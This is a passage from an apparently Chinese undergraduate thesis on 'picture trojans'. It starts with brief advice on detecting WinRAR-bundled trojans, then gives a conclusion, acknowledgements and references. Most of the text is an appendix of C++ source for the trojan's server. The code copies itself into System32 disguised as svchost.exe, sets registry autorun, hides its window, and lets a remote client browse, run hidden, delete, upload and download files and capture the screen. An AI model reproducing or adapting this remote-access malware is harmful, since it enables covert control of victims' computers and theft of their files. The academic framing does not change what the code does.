壓文件,目前許多流行的殺毒軟件和木馬查殺軟件都無法查出其中有問題存在!那么該怎樣識別用WinRAR捆綁過的木馬呢?其實(shí)只要能發(fā)現(xiàn)自釋放文件里面隱藏有多個文件,特別是多個可執(zhí)行文件,就可以判定其中含有木馬!那么怎樣才能知道自釋放文件中含有幾個文件,是哪些文件呢?一個簡單的識別的方法是:用鼠標(biāo)右擊WinRAR自釋放文件,在彈出菜單中選擇“屬性”,在“屬性”對話框中你會發(fā)現(xiàn)較之普通的EXE文件多出兩個標(biāo)簽,分別是:“檔案文件”和“注釋”,單擊“注釋”標(biāo)簽,看其中的注釋內(nèi)容,你就會發(fā)現(xiàn)里面含有哪些文件了,這樣就可以做到心中有數(shù),這是識別用WinRAR捆綁木馬文件的最好方法。最后再告訴大家一個防范方法,遇到自解壓程序不要直接運(yùn)行,而是選擇右鍵菜單中的“用WinRAR打開”,這樣你就會發(fā)現(xiàn)該文件中到底有什么了。但是萬一我們很小心了,發(fā)現(xiàn)仍然不經(jīng)意間中了木馬病毒,那么我們又該怎么做呢?我的建議是第一時間要斷開網(wǎng)絡(luò)連接,這樣就能保證你只是中了木馬病毒,而木馬種植者暫時是無法再控制你的電腦的,保證資料和信息的安全性和完整性。然后要做的就是查殺,其實(shí)在用殺毒軟件查殺之前,可以去一些地方看看,說不定就能找到木馬的藏匿之處。首先是在任務(wù)管理器里查看有沒有不熟悉或者詭異的進(jìn)程,如果有,就打開文件位置,查看其詳細(xì)信息,進(jìn)行初步判斷,然后在打來注冊表中的HKEY-LOCAL-MACHINE/Software/Microsoft/Windows/CurrentVersion/Run(隨機(jī)啟動目錄),查看右邊窗口的鍵值中有沒有自己不熟悉的自動啟動文件,擴(kuò)展名為.exe類型的。這里要特邊注意一些木馬可以的去模仿系統(tǒng)文件,比如expiorer.exe(正確的應(yīng)該是expLorer.exe)、command.exe(正確的應(yīng)該是)。查看完這些如果找不到病毒,我們就可以用幾個殺毒軟件進(jìn)行全盤查殺,因?yàn)樘卣鞔a的不同,會導(dǎo)致有的殺毒軟件無法查找到。其實(shí),最方便的還是將系統(tǒng)重做,這樣是最徹底的,但是是最費(fèi)時的。結(jié)束語隨著互聯(lián)網(wǎng)信息化進(jìn)程的迅速深入發(fā)展,網(wǎng)絡(luò)安全問題日漸突出,純病毒時代已經(jīng)一去不復(fù)返,網(wǎng)絡(luò)威脅的形式越來越多,攻擊手段越來越復(fù)雜,并且呈現(xiàn)出綜合的多元化的特征。本文對木馬的定義、木馬的發(fā)展歷史、木馬的功能、木馬的特征和分類、圖片木馬的生成以及發(fā)展趨勢進(jìn)行了較全面的介紹;對圖片木馬的工作原理、實(shí)體結(jié)構(gòu)和功能進(jìn)行詳細(xì)的介紹;對圖片木馬的關(guān)鍵技術(shù)進(jìn)行了深入的研究;最后本文設(shè)計(jì)實(shí)現(xiàn)了一個遠(yuǎn)程控制圖片木馬,該木馬程序較成功地實(shí)現(xiàn)服務(wù)端的主動上線、客戶端對服務(wù)端的良好控制、服務(wù)端良好的偽裝和隱藏性以及整個通信過程的秘密性。由于時間和自己的編程能力有限,對windows編程的了解不夠深入,以及當(dāng)下殺毒軟件的迅猛發(fā)展和人們防護(hù)木馬病毒意識的提高,所設(shè)計(jì)的圖片木馬還顯示出存在一些不足,比如功能上不夠全面,不能像灰鴿子、冰河木馬程序一樣強(qiáng)大,還應(yīng)該再增加一些對注冊表等系統(tǒng)的操作,同時服務(wù)端在躲避主流殺毒軟件方面還不夠完美,還需要更進(jìn)一步一步深入研究學(xué)習(xí),我的目標(biāo)是能夠做出內(nèi)外網(wǎng)均能夠控制,功能更強(qiáng)大、更完美的圖片木馬。通過這個畢業(yè)設(shè)計(jì),我認(rèn)識到自己在windows編程、操作系統(tǒng)、網(wǎng)絡(luò)編程、防火墻、殺毒軟件方面還有很多需要學(xué)習(xí),以后的工作學(xué)習(xí)中,我會努力提高自己,彌補(bǔ)自己的不足之處,深入了解自己的弱點(diǎn),然后對癥下藥,一一進(jìn)行改正,這個畢業(yè)設(shè)計(jì)不僅僅是一個簡單的論文答辯,它讓我認(rèn)清楚了自己的水平,能給自己一個明確的定位,以便以后學(xué)習(xí)工作中加以改正?!轮x時光荏苒,歲月如梭,轉(zhuǎn)眼我就到了要和母校說再見的時候了,大學(xué)四年的生涯,在我們的指尖輕輕劃過,但留下了難以磨滅的痕跡。四年的計(jì)算機(jī)專業(yè)知識學(xué)習(xí)和豐富的課余社會實(shí)踐經(jīng)歷,使我在計(jì)算機(jī)技術(shù)方面獲益匪淺。我從坎坷曲折中一步步走過,脫離了幼稚、浮躁和不切實(shí)際,心理上更加成熟、堅(jiān)定,專業(yè)功底更加扎實(shí)。在此要感謝四年來給我諄諄教導(dǎo)的老師,給我?guī)椭耐瑢W(xué),使他們教會了我如何做人,伴我成長。特別要感謝的是余建國老師,在畢業(yè)設(shè)計(jì)過程中給我的悉心教導(dǎo)。從論文的選題、文獻(xiàn)的采集、基本框架的設(shè)計(jì)、結(jié)構(gòu)的布局到最后的論文定稿,他都費(fèi)勁了心血,正是余老師的耐心、細(xì)致的指導(dǎo),辛勤的栽培,我才能圓滿的完成了畢業(yè)設(shè)計(jì)。畢業(yè)設(shè)計(jì)結(jié)束了,通過這個,我也受益匪淺。我認(rèn)識到了自己在學(xué)習(xí)中的不足,讓我更清楚的了解了自己的能力,認(rèn)清了自我,磨練了我的意志和獨(dú)立完成學(xué)習(xí)的能力,這對我以后的人生發(fā)展是很有幫助的。參考文獻(xiàn) [1]程勝利.計(jì)算機(jī)病毒及其防治技術(shù)[M].北京:清華大學(xué)出版社,2004(1).[2]徐宇茹,李志勇,肖國軍.嵌入式計(jì)算機(jī)木馬設(shè)計(jì)[J].海軍航空工程學(xué)院學(xué)報(bào),2004,19(05).[3]劉峰.互聯(lián)網(wǎng)進(jìn)入“木馬”經(jīng)濟(jì)時代[N].中國企業(yè)報(bào),2007年7月9日,第8版.[4]劉功申.計(jì)算機(jī)病毒及其防范技術(shù)[M].北京:清華大學(xué)出版社,2008.[5]楊瑾.基于遠(yuǎn)程線程插入DLL技術(shù)的嵌套式木馬設(shè)計(jì)[J].計(jì)算機(jī)與信息技術(shù),2007,(04).[6]RogerGrimes著.惡意傳播代碼[M].北京機(jī)械工業(yè)出版社,2004(1).[7]夏云慶.VisualC++6.0數(shù)據(jù)庫高級編程[M].北京:希望電子出版社,2004[8]張友生.遠(yuǎn)程控制編程技術(shù)[M].北京:電子工業(yè)出版社,2003[9]黃超.Windows網(wǎng)絡(luò)編程[M].北京:人民郵電出版社,2003[10]博振書苑編著.新編BIOS與注冊表應(yīng)用[M].北京:機(jī)械工業(yè)出版社,2006(1)[11]Anumba,C.J.DatastructuresandDBMSforcomputer-aideddesignsystems[J].AdvancesinEngineeringSoftware,1996,25(2-3):123-129.[12]Baloukas,C.,Risco-Martin,J.L.,Atienza,D.,etal.Optimizationmethodologyofdynamicdatastructuresbasedongeneticalgorithmsformultimediaembeddedsystems[J].JournalofSystemsandSoftware,2009,82(4):590-602.附錄1服務(wù)端各功能模塊代碼(將其編譯生成服務(wù)端.exe)#include"stdafx.h"#include"Server.h"#include"SYS.h"#include<windows.h>#include<winsock.h>#pragmacomment(lib,"ws2_32") //加載庫函數(shù)#pragmacomment(linker,"/subsystem:\"windows\"/entry:\"mainCRTStartup\"")//隱藏CMD窗口#ifdef_DEBUG#definenewDEBUG_NEW#undefTHIS_FILEstaticcharTHIS_FILE[]=__FILE__;#endiftypedefstruct //命令結(jié)構(gòu){ int ID; //操作命令I(lǐng)D BYTE lparam[BUF_LEN*2];//命令對象}COMMAND;typedefstruct //文件結(jié)構(gòu){ char FileName[MAX_PATH];//文件名稱 int FileLen;//文件長度 char Time[50];//時間信息 BOOL IsDir;//為目錄否 BOOL Error;//錯誤信息 HICON hIcon; //圖標(biāo)句柄}FILEINFO;BOOLDeleteDirectory(char*DirName);HANDLEDDBtoDIB(HBITMAPbitmap,DWORDdwCompression,HPALETTEhPal,DWORD*sizeimage);BOOLCapScreen(LPTSTRFileName); //截屏函數(shù)void InitSystem(); //只能運(yùn)行一次,復(fù)制自己到SYSTEM32/DRIVER/SVCHOST.EXE voidRegAutoRun(); //用注冊表啟動自己DWORD WINAPISLisen (LPVOIDlparam);//對文件的操作DWORD GetDriverProc (COMMANDcommand,SOCKETclient);//獲取磁盤信息DWORD GetDirInfoProc (COMMANDcommand,SOCKETclient);//獲取目錄信息DWORD ExecFileProc (COMMANDcommand,SOCKETclient);//執(zhí)行文件操作DWORD DelFileProc (COMMANDcommand,SOCKETclient);//刪除文件操作DWORD FileInfoProc (COMMANDcommand,SOCKETclient);//獲取文件信息DWORDCreateDirProc (COMMANDcommand,SOCKETclient);//創(chuàng)建目錄操作DWORDDelDirProc (COMMANDcommand,SOCKETclient);//刪除目錄操作DWORDGetFileProc (COMMANDcommand,SOCKETclient);//下載文件操作DWORDPutFileProc (COMMANDcommand,SOCKETclient);//上傳文件操作DWORDGetScreenProc (COMMANDcommand,SOCKETclient);//查看屏幕操作CWinApptheApp;usingnamespacestd;int_tmain(intargc,TCHAR*argv[],TCHAR*envp[]){ InitSystem(); //只能運(yùn)行一次,復(fù)制自己到SYSTEM32/DRIVER/SVCHOST.EXE RegAutoRun(); //用注冊表啟動自己 WSADATAwsadata; SOCKETserver; SOCKETclient; SOCKADDR_INserveraddr; SOCKADDR_INclientaddr; intport=5555; WORDver=MAKEWORD(2,2); //判斷winsock版本 WSAStartup(ver,&wsadata); //初始SOCKET server=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); serveraddr.sin_family=AF_INET; serveraddr.sin_port=htons(port); serveraddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY); bind(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr)); listen(server,5); intlen=sizeof(clientaddr); while(true) { if(client=accept(server,(sockaddr*)&clientaddr,&len)) { cout<<"CreateThreadistheok\n"; CreateThread(NULL,NULL,SLisen,(LPVOID)client,NULL,NULL); } } closesocket(server); closesocket(client); WSACleanup(); return0;}DWORDWINAPISLisen(LPVOIDlparam){ SOCKETclient=(SOCKET)lparam; COMMANDcommand; while(1) { memset((char*)&command,0,sizeof(command)); if(recv(client,(char*)&command,sizeof(command),0)==SOCKET_ERROR) { cout<<"TheClinetSocketisClosed\n"; break; }else { switch(command.ID) { caseGetDriver: GetDriverProc (command,client); break; caseGetDirInfo: GetDirInfoProc (command,client); break; caseExecFile: ExecFileProc (command,client); break; caseDelFile: DelFileProc (command,client); break; caseFileInfo: FileInfoProc (command,client); break; caseCreateDir: CreateDirProc (command,client); break; caseDelDir: DelDirProc (command,client); break; caseGetFile: GetFileProc (command,client); break; casePutFile: PutFileProc (command,client); break; caseGetScreen: GetScreenProc (command,client); break; } } } closesocket(client); return0;}DWORD GetDriverProc(COMMANDcommand,SOCKETclient){ cout<<"GetDriverisok\n"; COMMANDcmd; memset((char*)&cmd,0,sizeof(cmd)); cmd.ID=GetDriver; for(chari='A';i<='Z';i++) { charx[20]={i,':'}; UINTType=GetDriveType(x); if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE||Type==DRIVE_CDROM) { cout<<x<<"\n"; memset((char*)&cmd.lparam,0,sizeof(cmd.lparam)); strcpy((char*)&cmd.lparam,x); if(send(client,(char*)&cmd,sizeof(cmd),0)==SOCKET_ERROR) { cout<<"SendDriverisError\n"; } } } return0;DWORD GetDirInfoProc(COMMANDcommand,SOCKETclient){ cout<<"GetDirisok\n"; FILEINFOfi; COMMAND cmd; memset((char*)&cmd,0,sizeof(cmd)); memset((char*)&fi,0,sizeof(fi)); strcat((char*)command.lparam,"*.*"); cout<<(char*)command.lparam<<"\n"; CFileFindfile; BOOLbContinue=file.FindFile((char*)command.lparam); while(bContinue) { memset((char*)&cmd,0,sizeof(cmd)); memset((char*)&fi,0,sizeof(fi)); bContinue=file.FindNextFile(); if(file.IsDirectory()) { fi.IsDir=true; } strcpy(fi.FileName,file.GetFileName().LockBuffer()); cout<<fi.FileName<<"\n"; cmd.ID=GetDirInfo; memcpy((char*)&cmd.lparam,(char*)&fi,sizeof(fi)); if(send(client,(char*)&cmd,sizeof(cmd),0)==SOCKET_ERROR) { cout<<"SendDirisError\n"; } } return0;}DWORDExecFileProc(COMMANDcommand,SOCKETclient){ COMMAND cmd; memset((char*)&cmd,0,sizeof(cmd)); cmd.ID=ExecFile; if(ShellExecute(NULL,"open",(char*)command.lparam,NULL,NULL,SW_HIDE)<(HINSTANCE)32) { strcpy((char*)cmd.lparam,"文件執(zhí)行失敗!"); send(client,(char*)&cmd,sizeof(cmd),0); } else { strcpy((char*)cmd.lparam,"文件執(zhí)行成功!"); send(client,(char*)&cmd,sizeof(cmd),0); } return0;}DWORDDelFileProc(COMMANDcommand,SOCKETclient){ COMMAND cmd; memset((char*)&cmd,0,sizeof(cmd)); cmd.ID=DelFile; SetFileAttributes((char*)command.lparam,FILE_ATTRIBUTE_NORMAL);//去掉文件的系統(tǒng)和隱藏屬性 if(DeleteFile((char*)command.lparam)==0) { strcpy((char*)cmd.lparam,"文件刪除失敗!"); send(client,(char*)&cmd,sizeof(cmd),0); } else { strcpy((char*)cmd.lparam,"文件刪除成功!"); send(client,(char*)&cmd,sizeof(cmd),0); } return0;}DWORD FileInfoProc (COMMANDcommand,SOCKETclient){ cout<<"getfileinfoisok\n"; COMMAND cmd; FILEINFOfi; memset((char*)&fi,0,sizeof(fi)); memset((char*)&cmd,0,sizeof(cmd)); HANDLEhFile; WIN32_FIND_DATAWFD; memset((char*)&WFD,0,sizeof(WFD)); if((hFile=FindFirstFile((char*)command.lparam,&WFD))==INVALID_HANDLE_VALUE)//查看文件屬性 { fi.Error=true; return0; } DWORD FileLen; char stime[32]; SHFILEINFO shfi; SYSTEMTIME systime; FILETIME localtime; memset(&shfi,0,sizeof(shfi)); //得到文件的相關(guān)信息 SHGetFileInfo(WFD.cFileName, FILE_ATTRIBUTE_NORMAL, &shfi,sizeof(shfi), SHGFI_ICON|SHGFI_USEFILEATTRIBUTES|SHGFI_TYPENAME); //寫入文件信息結(jié)構(gòu) strcpy(fi.FileName,(char*)command.lparam); //文件路徑 FileLen=(WFD.nFileSizeHigh*MAXDWORD+WFD.nFileSizeLow)/1024;//文件長度 fi.FileLen=FileLen;//轉(zhuǎn)化格林時間到本地時間 FileTimeToLocalFileTime(&WFD.ftLastWriteTime,&localtime); FileTimeToSystemTime(&localtime,&systime); sprintf(stime,"%4d-%02d-%02d%02d:%02d:%02d", systime.wYear,systime.wMonth,systime.wDay,systime.wHour, systime.wMinute,systime.wSecond); strcpy(fi.Time,stime); //文件時間//暫時用來存放文件屬性 if(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_HIDDEN) { fi.IsDir=true; //隱藏文件 cout<<"thisfileishide\n"; }else if(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_READONLY) { cout<<"thisisfileisread\n"; fi.Error=true; //只讀文件 } cmd.ID=FileInfo; memcpy((char*)&cmd.lparam,(char*)&fi,sizeof(fi)); send(client,(char*)&cmd,sizeof(cmd),0); FindClose(hFile); return0;}DWORDCreateDirProc (COMMANDcommand,SOCKETclient){ cout<<"creatediridisok\n"; COMMAND cmd; memset((char*)&cmd,0,sizeof(cmd)); cmd.ID=CreateDir; if(::CreateDirectory((char*)command.lparam,NULL)) { strcpy((char*)cmd.lparam,"創(chuàng)建目錄成功!"); send(client,(char*)&cmd,sizeof(cmd),0); } else { strcpy((char*)cmd.lparam,"創(chuàng)建目錄失敗!可能有重名文件或文件夾"); send(client,(char*)&cmd,sizeof(cmd),0); } return0;}DWORDDelDirProc(COMMANDcommand,SOCKETclient){ cout<<"deldiridisok\n"; COMMAND cmd; memset((char*)&cmd,0,sizeof(cmd)); cmd.ID=DelDir; cout<<(char*)command.lparam<<"\n"; if(DeleteDirectory((char*)command.lparam)==TRUE) { strcpy((char*)cmd.lparam,"刪除目錄成功!"); send(client,(char*)&cmd,sizeof(cmd),0); } else { strcpy((char*)cmd.lparam,"刪除目錄失敗!可能有文件正在運(yùn)行"); send(client,(char*)&cmd,sizeof(cmd),0); } return0;}BOOLDeleteDirectory(char*DirName)//刪除目錄及目錄下所有文件與子目錄{CFileFindtempFind;chartempFileFind[200];sprintf(tempFileFind,"%s*.*",DirName);BOOLIsFinded=(BOOL)tempFind.FindFile(tempFileFind);while(IsFinded){IsFinded=(BOOL)tempFind.FindNextFile();if(!tempFind.IsDots()){charfoundFileName[200];strcpy(foundFileName,tempFind.GetFileName().GetBuffer(200));if(tempFind.IsDirectory()){chartempDir[200];sprintf(tempDir,"%s\\%s",DirName,foundFileName);DeleteDirectory(tempDir);}else{chartempFileName[200];sprintf(tempFileName,"%s\\%s",DirName,foundFileName); SetFileAttributes(tempFileName,FILE_ATTRIBUTE_NORMAL);//去掉文件的系統(tǒng)和隱藏屬性DeleteFile(tempFileName); cout<<"nowdelete"<<tempFileName<<"\n";}}}tempFind.Close();if(!RemoveDirectory(DirName)){returnFALSE;}returnTRUE;}DWORDGetFileProc (COMMANDcommand,SOCKETclient){ cout<<"getfileprocisok\n"; COMMAND cmd; FILEINFOfi; memset((char*)&fi,0,sizeof(fi)); memset((char*)&cmd,0,sizeof(cmd)); cmd.ID=GetFile; CFile file; int nChunkCount=0; //文件塊數(shù) if(file.Open((char*)command.lparam,CFile::modeRead|CFile::typeBinary)) { cout<<(char*)command.lparam<<"\n"; intFileLen=file.GetLength(); fi.FileLen=file.GetLength();//文件長度 strcpy((char*)fi.FileName,file.GetFileName()); memcpy((char*)&cmd.lparam,(char*)&fi,sizeof(fi)); send(client,(char*)&cmd,sizeof(cmd),0); nChunkCount=FileLen/CHUNK_SIZE; if(FileLen%nChunkCount!=0) nChunkCount++; char*date=newchar[CHUNK_SIZE];//緩存區(qū) for(inti=0;i<nChunkCount;i++) //分塊進(jìn)行文件傳輸 { cout<<"sendthecount"<<i<<"\n"; intnLeft; if(i+1==nChunkCount) //最后一塊 nLeft=FileLen-CHUNK_SIZE*(nChunkCount-1); else nLeft=CHUNK_SIZE; intidx=0; file.Read(date,CHUNK_SIZE);//讀出一塊數(shù)據(jù) while(nLeft>0) { intret=send(client,&date[idx],nLeft,0);//已傳輸?shù)淖止?jié)數(shù) if(ret==SOCKET_ERROR) cout<<"傳輸出錯!\n"; nLeft-=ret;//剩余字節(jié)數(shù) idx+=ret;//下次起始地址 } } file.Close(); delete[]date; } return0;}DWORDPutFileProc (COMMANDcommand,SOCKETclient){ COMMAND cmd; memset((char*)&cmd,0,sizeof(cmd)); cmd.ID=PutFile; FILEINFO*fi=(FILEINFO*)command.lparam; int FileLen=fi->FileLen; CFile file; int nChunkCount=FileLen/CHUNK_SIZE; if(FileLen%nChunkCount!=0) { nChunkCount++; } if(file.Open(fi->FileName,CFile::modeWrite|CFile::typeBinary|CFile::modeCreate)) { char*date=newchar[CHUNK_SIZE]; for(inti=0;i<nChunkCount;i++) { intnLeft; if(i+1==nChunkCount) //最后一塊 nLeft=FileLen-CHUNK_SIZE*(nChunkCount-1); else nLeft=CHUNK_SIZE; intidx=0; while(nLeft>0) { intret=recv(client,&date[idx],nLeft,0); if(ret==SOCKET_ERROR) { printf("recvfileerror\n"); break; } idx+=ret; nLeft-=ret; } file.Write(date,CHUNK_SIZE); } file.Close(); delete[]date; printf("文件傳輸完成\n"); strcpy((char*)cmd.lparam,"文件上傳成功!"); send(client,(char*)&cmd,sizeof(cmd),0); }else { strcpy((char*)cmd.lparam,"文件上傳失敗!"); send(client,(char*)&cmd,sizeof(cmd),0); } return0;}DWORDGetScreenProc(COMMANDcommand,SOCKETclient){ cout<<"getscreevisok\n"; charpath[MAX_PATH]; GetTempPath(MAX_PATH,path); strcat(path,"Screen.bmp"); CapScreen(path); //截取屏幕并存入臨時目錄 COMMAND cmd; FILEINFOfi; memset((char*)&fi,0,sizeof(fi)); memset((char*)&cmd,0,sizeof(cmd)); cmd.ID=GetScreen; CFile file; if(file.Open(path,CFile::modeRead|CFile::typeBinary))//發(fā)送屏幕文件 { intFileLen=file.GetLength(); fi.FileLen=file.GetLength(); strcpy((char*)fi.FileName,file.GetFileName()); memcpy((char*)&cmd.lparam,(char*)&fi,sizeof(fi)); send(client,(char*)&cmd,sizeof(cmd),0); char*date=newchar[FileLen]; intnLeft=FileLen; intidx=0; file.Read(date,FileLen); while(nLeft>0) { intret=send(client,&date[idx],nLeft,0); if(ret==SOCKET_ERROR) cout<<"error\n"; nLeft-=ret; idx+=ret; } file.Close(); delete[]date; } return0;}HANDLEDDBtoDIB(HBITMAPbitmap,DWORDdwCompression,HPALETTEhPal,DWORD*sizeimage)//依賴設(shè)備位圖轉(zhuǎn)化為不依賴設(shè)備位圖{BITMAPbm;BITMAPINFOHEADERbi;//文件頭DIB信息LPBITMAPINFOHEADERl

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論